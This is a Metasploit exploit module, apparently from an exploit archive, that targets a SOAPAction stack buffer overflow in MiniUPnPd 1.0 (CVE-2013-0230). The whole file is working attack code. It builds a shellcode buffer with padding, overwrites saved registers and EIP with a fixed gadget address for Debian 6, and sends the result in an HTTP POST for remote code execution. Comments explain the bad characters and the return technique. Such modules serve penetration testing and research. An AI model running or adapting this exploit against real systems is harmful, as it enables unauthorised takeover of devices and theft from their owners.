MiniUPnPd 1.0 – Remote Stack Buffer Overflow Remote Code Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient Rank = NormalRanking def initialize(info = {}) super(update_info(info, 'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution', 'Description' => %q{ This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability present in the SOAPAction HTTP header handling. }, 'Author' => [ 'hdm', # Vulnerability discovery 'Dejan Lukan' # Metasploit module ], 'License' => MSF_LICENSE, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, # the byte '\x22' is the '"' character and the miniupnpd scans for that character in the # input, which is why it can't be part of the shellcode (otherwise the vulnerable part # of the program is never reached) 'Payload' => { 'Space' => 2060, 'BadChars' => "\x00\x22", 'DisableNops' => true }, 'Platform' => 'linux', 'References' => [ [ 'CVE', '2013-0230' ], [ 'OSVDB', '89624' ], [ 'BID', '57608' ], [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play'] ], 'Targets' => [ [ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0', { 'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd 'Offset' => 2123 } ], ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => 'Mar 27 2013', )) register_options([ Opt::RPORT(5555), ], self.class) end def exploit # # Build the SOAP Exploit # # jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char) sploit = "\xeb\x2d" # a valid action sploit += "n:schemas-upnp-org:service:WANIPConnection:1#" # payload sploit += payload.encoded # nops sploit += rand_text(target['Offset'] - sploit.length - 16) # overwrite registers on stack: the values are not used, so we can overwrite them with anything sploit += rand_text(4) # overwrite EBX sploit += rand_text(4) # overwrite ESI sploit += rand_text(4) # overwrite EDI sploit += rand_text(4) # overwrite EBP # Overwrite EIP with addresss of "pop ebp, ret", because the second value on the # stack points directly to the string after 'Soapaction: ', which is why we must # throw the first value on the stack away, which we're doing with the pop ebp # instruction. Then we're returning to the next value on the stack, which is # exactly the address that we want. sploit += [target.ret].pack('V') # the ending " character is necessary for the vulnerability to be reached sploit += "\"" # data sent in the POST body data = "<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" + "<SOAP-ENV:Envelope\r\n" + " SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" + " xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" + " xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" + ">\r\n" + "<SOAP-ENV:Body>\r\n" + "<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" + "</ns1:action>\r\n" + "</SOAP-ENV:Body>\r\n" + "</SOAP-ENV:Envelope>\r\n" # # Build and send the HTTP request # print_status("Sending exploit to victim #{target.name} at ...") send_request_cgi({ 'method' => 'POST', 'uri' => "/", 'headers' => { 'SOAPAction' => sploit, }, 'data' => data, }) # disconnect from the server disconnect end end |